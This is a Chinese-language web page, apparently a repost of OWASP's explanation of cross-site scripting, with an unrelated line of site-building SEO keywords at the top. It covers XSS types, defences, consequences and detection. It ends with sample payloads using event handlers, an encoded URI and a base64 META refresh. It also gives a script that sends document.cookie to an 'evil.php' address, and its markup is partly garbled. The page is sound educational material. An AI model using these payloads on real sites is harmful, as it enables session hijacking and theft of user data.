宝塔建站网址,做同城网站需要哪些,深圳宝安高端网站建设,4399小游戏攻击者会给网站发送可疑的脚本#xff0c;可以获取浏览器保存的网站cookie#xff0c; session tokens, 或者其他敏感的信息#xff0c;甚至可以重写HTML页面的内容。 背景 XSS漏洞有不同类型#xff0c;最开始发现的是存储型XSS和反射型XSS#xff0c;2005#xff0c;Am…
攻击者会给网站发送可疑的脚本可以获取浏览器保存的网站cookie session tokens, 或者其他敏感的信息甚至可以重写HTML页面的内容。 背景 XSS漏洞有不同类型最开始发现的是存储型XSS和反射型XSS2005Amit Klein发现了基于DOM的XSS。 反射型XSS也叫不可持续XSS当用户输入在错误消息、搜索结果或任何其他响应中立即由Web应用程序返回时就会发生反射式XSS这些响应包含用户作为请求的一部分提供的一些或全部输入而不会在浏览器中安全地呈现这些数据也不会永久存储用户提供的数据。在某些情况下用户提供的数据甚至可能永远不会离开浏览器。 存储型XSS也叫可持续的XSS存储型XSS通常发生在用户输入存储在目标服务器上时例如在数据库、论坛、访客日志、评论字段等中。然后受害者能够从Web应用程序检索存储的数据 而无需在浏览器中安全地呈现这些数据。随着HTML5和其他浏览器技术的出现我们可以设想攻击有效负载被永久存储在受害者的浏览器中例如HTML5数据库而根本不会被发送到服务器。 基于DOM的XSS或某些文本中称为“类型0 XSS”是一种XSS攻击其中攻击有效负载是通过修改原始客户端脚本在受害者浏览器中使用的DOM“环境”来执行的这样客户端代码就会以“意外”的方式运行。也就是说页面本身即HTTP响应没有改变但由于DOM环境中发生的恶意修改页面中包含的客户端代码执行方式不同。 不同类型的XSS
上述三种XSS分类存在重叠2012年研究会提议开始用新的词来识别XSS。
服务端XSS客户端XSS
服务器端XSS发生在服务器生成的HTTP响应中包含不受信任的用户提供的数据时。这些数据的来源可能是请求也可能是存储位置。因此您可以同时拥有反射式服务器端XSS和存储式服务器端XSS。在这种情况下整个漏洞都在服务器端代码中浏览器只是呈现响应并执行其中嵌入的有效脚本。
客户端XSS发生在不信任的用户提供的数据用于使用不安全的JavaScript调用更新DOM时。如果可以将有效的JavaScript引入DOM则JavaScript调用被视为不安全。这些数据的来源可能是DOM也可能是由服务器发送的通过AJAX调用或页面加载。数据的最终来源可能是来自请求或者是来自客户端或服务器上的存储位置。因此您可以同时拥有反射式客户端XSS和存储式客户端XSS。有了这些新的定义基于DOM的XSS的定义并没有改变。基于DOM的XSS只是客户端XSS的一个子集其中数据的来源在DOM中而不是来自服务器。
原文Types of XSS | OWASP Foundation 推荐的服务端XSS防御方式
服务端XSS是由于在HTML响应中包含了不可信任的数据最简单和最有力的服务端XSS防御方式为上下文敏感的服务器端输出编码
输入验证和数据清理也可以防止服务端XSS但是难以正确。
推荐的客户端XSS防御方式
客户端XSS发生在不信任的数据于以不安全的JavaScript调用更新DOM时。针对客户端XSS最简单和最有效的防御是使用安全的JavaScript API
但是开发人员经常不知道哪些JavaScript API是安全的更不用说他们最喜欢的JavaScript库中的哪些方法是安全的。Dave Wichers在2012年OWASP AppSec USA的DOM XSS演讲中介绍了哪些JavaScript和jQuery方法是安全和不安全的。 如果你知道JavaScript方法是危险的我们的主要建议是寻找一个安全的替代方法。如果你因为某种原因不能这样做那么在将数据传递给不安全的JavaScript方法之前可以在浏览器中进行上下文敏感的输出编码。OWASP的指导说明如何正确执行此操作在DOM XSS预防备忘单中有所介绍。请注意此指南适用于所有类型的客户端XSS无论数据实际来自何处DOM或服务器。DOM based XSS Prevention - OWASP Cheat Sheet Series XSS攻击的后果
泄露用户的session cookie允许攻击者劫持用户会话和控制用户账号 其他伤害包含泄露用户的文件安装特洛伊木马程序将用户重定向至其他网站修改内容呈现方式。
允许攻击者修改新闻稿或新闻项目的XSS漏洞可能会影响公司的股价或降低消费者的信心。 制药网站的XSS漏洞可能允许攻击者修改剂量信息导致过量服用。 有关这些类型攻击的更多信息请参阅Content_Spoofing。https://owasp.org/www-community/attacks/Content_Spoofing
如何发现XSS攻击
查找漏洞的最佳方法是执行代码的安全性审查并查找所有可能通过HTTP请求将代码 插入HTML文档的地方。有很多HTML标签可以传递javascript文档有一些工具如Nessus,Nikto和其他的一些工具可以帮助扫描这些缺陷但是可能仅仅只发现表面问题。如果网站有一个地方是脆弱的那么有很大可能其他地方也有问题。 如何防护
OWASP XSS预防作弊表Cross Site Scripting Prevention - OWASP Cheat Sheet Series描述了防止XSS的主要防御措施。此外关闭所有Web服务器上的HTTP TRACE支持是至关重要的。即使在客户端禁用或不支持document.cookie的情况下攻击者也可以通过Javascript窃取cookie数据。当用户将恶意脚本发布到论坛时就会发起这种攻击当另一个用户点击链接时就会触发异步HTTP跟踪调用从服务器收集用户cookie信息然后将其发送到另一个恶意服务器该服务器收集cookie信息以便攻击者能够发起会话劫持攻击。通过在所有Web服务器上移除对HTTP TRACE的支持可以轻松减轻这种攻击。OWASP ESAPI项目用几种语言产生了一套可重复使用的安全组件包括用于防止参数篡改和XSS攻击注入的验证和转义例程。此外OWASP WebGoat项目培训应用程序提供了有关跨站脚本和数据编码的课程。
XSS语法
常见的是把XSS脚本嵌入script.../script 标签但是其他的标签也可以嵌入XSS脚本。 如 body οnlοadalert(test1) 其他属性如 onmouseover, onerror. onmouseover b οnmοuseοveralert(Wufff!)click me!/b onerror img srchttp://url.to.file.which/not.exist οnerrοralert(document.cookie); 通过编码的URI格式 IMG SRCj#X41vascript:alert(test2) 将我们的脚本进行base64编码并放入META标签 META HTTP-EQUIVrefresh CONTENT0;urldata:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg 举例
1、获取cookie
SCRIPT typetext/javascript
var adr ../evil.php?cakemonster escape(document.cookie);
/SCRIPT